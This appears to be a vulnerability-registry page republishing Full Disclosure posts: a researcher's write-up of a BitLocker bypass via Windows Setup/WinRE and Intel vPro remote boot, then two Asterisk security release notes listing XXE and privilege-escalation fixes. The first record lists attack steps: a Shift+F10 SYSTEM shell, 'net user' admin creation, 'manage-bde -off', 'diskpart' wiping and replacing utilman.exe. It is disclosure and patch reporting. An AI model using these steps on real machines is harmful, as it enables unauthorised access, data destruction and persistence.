- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
386 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0196
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:06
VLAI
EPSS
VEX
Title
🚨 Public Disclosure: Remote BitLocker Bypass via Intel AMT — SYSTEM Access Without Login
Summary
🔓 The Attack Path — No Login, SYSTEM Access
1. Boot into setup.exe (via USB, PXE, or OOBM like Intel vPro).
2. Click “Repair your computer” → Enter WinRE.
3. Press Shift + F10 → SYSTEM-level Command Prompt.
4. From there, attacker can:
- Run `net user` to create new admin accounts
- Use `diskpart` to wipe or reformat drives
- Use `manage-bde -off` or `bcdedit` to disable BitLocker
- Replace `utilman.exe` to bypass login
- Implant persistence or backdoors
🧠 Why BitLocker Doesn’t Save You
- BitLocker is inactive in Setup or WinRE — the OS hasn’t loaded, and the
BitLocker driver isn’t running.
- If BitLocker is TPM-only (no PIN/USB), the drive is already unlocked at
boot.
- TPM 2.0 *can* block key release — but only if:
- Secure Boot is enforced
- PCR bindings are tightly configured
- Boot order is locked
- USB/PXE boot is disabled
- OOBM is secured
Most orgs don’t meet all those conditions. Even if BitLocker triggers
recovery, an attacker can still wipe the drive or implant malware.
CVE-2025-26637 and tools like BitUnlocker show how these vectors are
being actively explored.
🧨 “But We Have Immutable Backups”
That protects data availability — not system integrity.
If I implant malware or create a hidden admin account, you’ll restore into
a compromised environment. Immutable backups don’t detect or prevent:
- Credential theft
- Persistence
- Backdoored reboots
- Silent compromise of trust
🌐 Remote Risk: OOBM
With Intel vPro, I can:
- Mount virtual media
- Boot into Setup or WinRE
- Execute all of the above remotely, without touching the device
Intel’s own docs highlight how vPro enables remote boot and media mounting
— a dream for IT, and a gift for attackers if misconfigured.
🧱 This Isn’t About “Wasting Access”
It’s about how Microsoft’s own tooling enables unauthenticated SYSTEM
access in environments that are supposed to be secure.
If your only defense is “well, that’s by design,” then the design *is* the
vulnerability.
🔒 BIOS/UEFI Passwords: A Broken Mitigation
Microsoft may argue that setting a BIOS/UEFI password mitigates this
attack. But in practice, this “defense” is deeply flawed:
- **No visual feedback**: Users can’t see what they’re typing — no
asterisks, no characters, nothing.
- **No Caps Lock indicator**: If Caps Lock is on, users won’t know — and
their input silently fails.
- **No support for special characters**: Most firmware restricts input to
basic alphanumeric characters.
- **Short password limits**: Many systems cap passwords at 8–16 characters.
- **No brute-force protection**: Some BIOS/UEFI setups don’t lock out after
failed attempts.
The result? Users get scared, fumble their input, and retreat to normal
boot — where the system is already unlocked and vulnerable. The illusion of
security becomes the attack vector.
If this is the only mitigation, then the system is fundamentally broken.
— Darsh
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Feb/15 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Public | Public Disclosure |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0196 (this record)
- related CVE-2025-26637
{
"containers": {
"cna": {
"affected": [
{
"product": "Public Disclosure",
"vendor": "Public",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Darsh Naik"
}
],
"descriptions": [
{
"lang": "en",
"value": "\ud83d\udd13 The Attack Path \u2014 No Login, SYSTEM Access\n\n1. Boot into setup.exe (via USB, PXE, or OOBM like Intel vPro).\n2. Click \u201cRepair your computer\u201d \u2192 Enter WinRE.\n3. Press Shift + F10 \u2192 SYSTEM-level Command Prompt.\n4. From there, attacker can:\n - Run `net user` to create new admin accounts\n - Use `diskpart` to wipe or reformat drives\n - Use `manage-bde -off` or `bcdedit` to disable BitLocker\n - Replace `utilman.exe` to bypass login\n - Implant persistence or backdoors\n\n\ud83e\udde0 Why BitLocker Doesn\u2019t Save You\n\n- BitLocker is inactive in Setup or WinRE \u2014 the OS hasn\u2019t loaded, and the\nBitLocker driver isn\u2019t running.\n- If BitLocker is TPM-only (no PIN/USB), the drive is already unlocked at\nboot.\n- TPM 2.0 *can* block key release \u2014 but only if:\n - Secure Boot is enforced\n - PCR bindings are tightly configured\n - Boot order is locked\n - USB/PXE boot is disabled\n - OOBM is secured\n\nMost orgs don\u2019t meet all those conditions. Even if BitLocker triggers\nrecovery, an attacker can still wipe the drive or implant malware.\n\nCVE-2025-26637 and tools like BitUnlocker show how these vectors are\nbeing actively explored.\n\n\ud83e\udde8 \u201cBut We Have Immutable Backups\u201d\n\nThat protects data availability \u2014 not system integrity.\n\nIf I implant malware or create a hidden admin account, you\u2019ll restore into\na compromised environment. Immutable backups don\u2019t detect or prevent:\n- Credential theft\n- Persistence\n- Backdoored reboots\n- Silent compromise of trust\n\n\ud83c\udf10 Remote Risk: OOBM\n\nWith Intel vPro, I can:\n- Mount virtual media\n- Boot into Setup or WinRE\n- Execute all of the above remotely, without touching the device\n\nIntel\u2019s own docs highlight how vPro enables remote boot and media mounting\n\u2014 a dream for IT, and a gift for attackers if misconfigured.\n\n\ud83e\uddf1 This Isn\u2019t About \u201cWasting Access\u201d\n\nIt\u2019s about how Microsoft\u2019s own tooling enables unauthenticated SYSTEM\naccess in environments that are supposed to be secure.\n\nIf your only defense is \u201cwell, that\u2019s by design,\u201d then the design *is* the\nvulnerability.\n\n\ud83d\udd12 BIOS/UEFI Passwords: A Broken Mitigation\n\nMicrosoft may argue that setting a BIOS/UEFI password mitigates this\nattack. But in practice, this \u201cdefense\u201d is deeply flawed:\n\n- **No visual feedback**: Users can\u2019t see what they\u2019re typing \u2014 no\nasterisks, no characters, nothing.\n- **No Caps Lock indicator**: If Caps Lock is on, users won\u2019t know \u2014 and\ntheir input silently fails.\n- **No support for special characters**: Most firmware restricts input to\nbasic alphanumeric characters.\n- **Short password limits**: Many systems cap passwords at 8\u201316 characters.\n- **No brute-force protection**: Some BIOS/UEFI setups don\u2019t lock out after\nfailed attempts.\n\nThe result? Users get scared, fumble their input, and retreat to normal\nboot \u2014 where the system is already unlocked and vulnerable. The illusion of\nsecurity becomes the attack vector.\n\nIf this is the only mitigation, then the system is fundamentally broken.\n\n\u2014 Darsh\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:06:17Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/15"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/15"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/15"
],
"discovery": "EXTERNAL"
},
"title": "\ud83d\udea8 Public Disclosure: Remote BitLocker Bypass via Intel AMT \u2014 SYSTEM Access Without Login",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-26637",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0196",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/15",
"automated": true,
"contentSha256": "f040d4b4fe72eaa256389d7d98535d9e6a80d6854206acaf9f0d0980779cb650",
"evidenceScore": 6,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/15",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-15T04:56:38Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0196"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-11T11:06:17Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0196"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0209
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:06
VLAI
EPSS
VEX
Title
Asterisk Security Release 23.2.2
Summary
The Asterisk Development Team would like to announce security release
Asterisk 23.2.2.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/23.2.2
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 23.2.2
## Change Log for Release asterisk-23.2.2
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.2.2.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/23.2.1...23.2.2)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.2.2.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 4
- Commit Authors: 2
- Issues Resolved: 0
- Security Advisories Resolved: 4
- [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c
uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper
running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation
- [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk
embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization
- [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper
runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation
### User Notes:
- #### ast_coredumper: check ast_debug_tools.conf permissions
ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
### Upgrade Notes:
- #### http.c: Change httpstatus to default disabled and sanitize output.
To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
### Developer Notes:
### Commit Authors:
- George Joseph: (2)
- Mike Bradeen: (2)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially
leading to privilege escalation
- !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and
query string) without sanitization
- !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to
potential privilege escalation
### Commits By Author:
- #### George Joseph (2):
- #### Mike Bradeen (2):
### Commit List:
- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
- ast_coredumper: check ast_debug_tools.conf permissions
- http.c: Change httpstatus to default disabled and sanitize output.
- ast_coredumper: create gdbinit file with restrictive permissions
### Commit Details:
#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
Author: George Joseph
Date: 2026-01-15
The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external
entities, could allow a potential XXE injection attack. Replacing it with
XML_PARSE_NONET, which prevents network access, is safer.
Resolves: #GHSA-85x7-54wr-vh42
#### ast_coredumper: check ast_debug_tools.conf permissions
Author: Mike Bradeen
Date: 2026-01-15
Prevent ast_coredumper from using ast_debug_tools.conf files that are
not owned by root or are writable by other users or groups.
Prevent ast_logescalator and ast_loggrabber from doing the same if
they are run as root.
Resolves: #GHSA-rvch-3jmx-3jf3
UserNote: ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
#### http.c: Change httpstatus to default disabled and sanitize output.
Author: George Joseph
Date: 2026-01-15
To address potential security issues, the httpstatus page is now disabled
by default and the echoed query string and cookie output is html-escaped.
Resolves: #GHSA-v6hp-wh3r-cwxh
UpgradeNote: To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
#### ast_coredumper: create gdbinit file with restrictive permissions
Author: Mike Bradeen
Date: 2026-01-15
Modify gdbinit to use the install command with explicit permissions (-m 600)
when creating the .ast_coredumper.gdbinit file. This ensures the file is
created with restricted permissions (readable/writable only by the owner)
to avoid potential privilege escalation.
Resolves: #GHSA-xpc6-x892-v83c
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Release",
"vendor": "Asterisk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nAsterisk 23.2.2.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/23.2.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 23.2.2\n\n\n## Change Log for Release asterisk-23.2.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.2.2.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/23.2.1...23.2.2) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.2.2.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n- ast_coredumper: check ast_debug_tools.conf permissions\n- http.c: Change httpstatus to default disabled and sanitize output.\n- ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n Author: George Joseph\n Date: 2026-01-15\n\n The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n entities, could allow a potential XXE injection attack. Replacing it with\n XML_PARSE_NONET, which prevents network access, is safer.\n\n Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Prevent ast_coredumper from using ast_debug_tools.conf files that are\n not owned by root or are writable by other users or groups.\n\n Prevent ast_logescalator and ast_loggrabber from doing the same if\n they are run as root.\n\n Resolves: #GHSA-rvch-3jmx-3jf3\n\n UserNote: ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n Author: George Joseph\n Date: 2026-01-15\n\n To address potential security issues, the httpstatus page is now disabled\n by default and the echoed query string and cookie output is html-escaped.\n\n Resolves: #GHSA-v6hp-wh3r-cwxh\n\n UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Modify gdbinit to use the install command with explicit permissions (-m 600)\n when creating the .ast_coredumper.gdbinit file. This ensures the file is\n created with restricted permissions (readable/writable only by the owner)\n to avoid potential privilege escalation.\n\n Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:06:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/9"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.2.2.tar.gz"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.2.2.html"
},
{
"url": "https://github.com/asterisk/asterisk"
},
{
"url": "https://github.com/asterisk/asterisk/compare/23.2.1...23.2.2"
},
{
"url": "https://github.com/asterisk/asterisk/releases/tag/23.2.2"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/9"
],
"discovery": "EXTERNAL"
},
"title": "Asterisk Security Release 23.2.2",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0209",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/9",
"automated": true,
"contentSha256": "64270a0283360cb24760ed289d14e1e03ed88f0d226f35fb71bfbc330f36085b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-05T16:58:35Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-11T11:06:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0209"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0208
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:05
VLAI
EPSS
VEX
Title
Asterisk Security Release 21.12.1
Summary
The Asterisk Development Team would like to announce security release
Asterisk 21.12.1.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/21.12.1
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 21.12.1
## Change Log for Release asterisk-21.12.1
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.1.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/21.12.0...21.12.1)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.1.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 4
- Commit Authors: 2
- Issues Resolved: 0
- Security Advisories Resolved: 4
- [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c
uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper
running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation
- [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk
embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization
- [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper
runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation
### User Notes:
- #### ast_coredumper: check ast_debug_tools.conf permissions
ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
### Upgrade Notes:
- #### http.c: Change httpstatus to default disabled and sanitize output.
To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
### Developer Notes:
### Commit Authors:
- George Joseph: (2)
- Mike Bradeen: (2)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially
leading to privilege escalation
- !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and
query string) without sanitization
- !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to
potential privilege escalation
### Commits By Author:
- #### George Joseph (2):
- #### Mike Bradeen (2):
### Commit List:
- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
- ast_coredumper: check ast_debug_tools.conf permissions
- http.c: Change httpstatus to default disabled and sanitize output.
- ast_coredumper: create gdbinit file with restrictive permissions
### Commit Details:
#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
Author: George Joseph
Date: 2026-01-15
The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external
entities, could allow a potential XXE injection attack. Replacing it with
XML_PARSE_NONET, which prevents network access, is safer.
Resolves: #GHSA-85x7-54wr-vh42
#### ast_coredumper: check ast_debug_tools.conf permissions
Author: Mike Bradeen
Date: 2026-01-15
Prevent ast_coredumper from using ast_debug_tools.conf files that are
not owned by root or are writable by other users or groups.
Prevent ast_logescalator and ast_loggrabber from doing the same if
they are run as root.
Resolves: #GHSA-rvch-3jmx-3jf3
UserNote: ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
#### http.c: Change httpstatus to default disabled and sanitize output.
Author: George Joseph
Date: 2026-01-15
To address potential security issues, the httpstatus page is now disabled
by default and the echoed query string and cookie output is html-escaped.
Resolves: #GHSA-v6hp-wh3r-cwxh
UpgradeNote: To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
#### ast_coredumper: create gdbinit file with restrictive permissions
Author: Mike Bradeen
Date: 2026-01-15
Modify gdbinit to use the install command with explicit permissions (-m 600)
when creating the .ast_coredumper.gdbinit file. This ensures the file is
created with restricted permissions (readable/writable only by the owner)
to avoid potential privilege escalation.
Resolves: #GHSA-xpc6-x892-v83c
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Release",
"vendor": "Asterisk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nAsterisk 21.12.1.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/21.12.1\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 21.12.1\n\n\n## Change Log for Release asterisk-21.12.1\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.1.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/21.12.0...21.12.1) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.1.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n- ast_coredumper: check ast_debug_tools.conf permissions\n- http.c: Change httpstatus to default disabled and sanitize output.\n- ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n Author: George Joseph\n Date: 2026-01-15\n\n The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n entities, could 